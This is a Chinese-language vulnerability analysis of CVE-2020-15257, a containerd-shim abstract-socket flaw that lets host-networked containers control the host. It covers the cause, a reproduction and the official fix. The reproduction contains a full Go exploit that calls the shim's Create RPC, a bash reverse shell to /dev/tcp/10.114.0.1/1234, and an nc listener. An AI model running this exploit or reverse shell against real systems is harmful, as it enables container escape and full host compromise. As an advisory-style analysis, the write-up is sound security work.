漏洞分析
CVE-2020-15257是一个containerd漏洞,利用这个漏洞可以让共享网络的容器控制containerd。
containerd通过containerd-shim来控制runc,containerd-shim提供了各种RPC API,containerd通过这些API来向containerd-shim发送请求,从而对容器进行管理(例如创建和删除容器)[1.1]:
service Shim { rpc State(StateRequest) returns (StateResponse); rpc Create(CreateTaskRequest) returns (CreateTaskResponse); rpc Start(StartRequest) returns (StartResponse); rpc Delete(google.protobuf.Empty) returns (DeleteResponse); rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse); rpc ListPids(ListPidsRequest) returns (ListPidsResponse); rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty); rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty); rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty); rpc Kill(KillRequest) returns (google.protobuf.Empty); rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty); rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty); rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty); rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse); rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty); rpc Wait(WaitRequest) returns (WaitResponse); }
containerd-shim的RPC socket是“\x00”开头的,也就是说这是一个抽象socket而不是一个文件socket,抽象socket并不受到mount namespace的隔离,只受到network namespace的隔离[1.2]。
func newSocket(address string) (*net.UnixListener, error) { if len(address) > 106 { return nil, errors.Errorf("%q: unix socket path too long (> 106)", address) } l, err := net.Listen("unix", "\x00"+address) if err != nil { return nil, errors.Wrapf(err, "failed to listen to abstract unix socket %q", address) } return l.(*net.UnixListener), nil }
这意味着,当容器与宿主共享网络的时候(Docker中的“–net=host”参数),这个socket同样会暴露在容器中,而容器中的进程可以通过向这个socket发送请求来控制宿主的containerd-shim。
漏洞复现
系统:Ubuntu 18.04
Docker:19.03.13
containerd:1.3.7
首先创建一个与宿主共享网络的容器:
sudo docker run -it --name ubuntu --net=host ubuntu:18.04 /bin/bash
进入容器分别获取containerd-shim的socket路径(/containerd-shim/xxx.sock)、容器的ID(/docker/xxx后面那串)、容器根目录在宿主中的路径(upperdir=/var/lib/docker/overlay2/xxx/diff)。
编写exp,填入上面得到的内容并编译:
package main import ( "context" "net" "github.com/containerd/ttrpc" shimapi "github.com/containerd/containerd/runtime/v1/shim/v1" ) func main() { sock := "/containerd-shim/5839ead536d064225e761605be1345b36a3b6c6b7b1c098ff67289f157fc8bb8.sock" docker_id := "340968a5fb669499bb01d1517f3ecaf064ec061f88b2290d0bdd17f3479b60da" diff := "/var/lib/docker/overlay2/97df8534e2ea655bbf917705531a0f2a9c1a5bdddbf13a0a7524aff616bd53d9/diff/" conn, _ := net.Dial("unix", "\x00"+sock) client := ttrpc.NewClient(conn) shimClient := shimapi.NewShimClient(client) ctx := context.Background() md := ttrpc.MD{} md.Set("containerd-namespace-ttrpc", "notmoby") ctx = ttrpc.WithMetadata(ctx, md) shimClient.Create(ctx, &shimapi.CreateTaskRequest{ ID: docker_id, Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json", Stdout: "binary:///bin/sh?-c="+diff+"shell", }) }
在根目录创建一个用于触发的shell文件,内容为反弹一个shell到10.114.0.1所在的机器(攻击端):
#!/bin/bash /bin/bash -i >& /dev/tcp/10.114.0.1/1234 0>&1
进入10.114.0.1,开启监听:
nc -lvp 1234
在容器中运行exp,回到攻击端,可以看到来自容器宿主的shell:
官方修复
官方的修复方案是把原本的抽象socket替换成文件socket,这样这个socket就会受到mount namespace的隔离[3.1]。当然,在创建容器的时候同样需要注意不要把这个socket文件挂载到容器中。
func (b *bundle) shimAddress(namespace, socketPath string) string { d := sha256.Sum256([]byte(filepath.Join(socketPath, namespace, b.id))) return fmt.Sprintf("unix://%s/%x", filepath.Join(socketRoot, "s"), d) }
参考
[1.1] https://github.com/containerd/containerd/blob/v1.3.7/runtime/v1/shim/v1/shim.proto#L18
[1.2] https://github.com/containerd/containerd/blob/v1.3.7/runtime/v1/shim/client/client.go#L213
[2.1] https://xz.aliyun.com/t/8925
[3.1] https://github.com/containerd/containerd/commit/ea765aba0d05254012b0b9e595e995c09186427f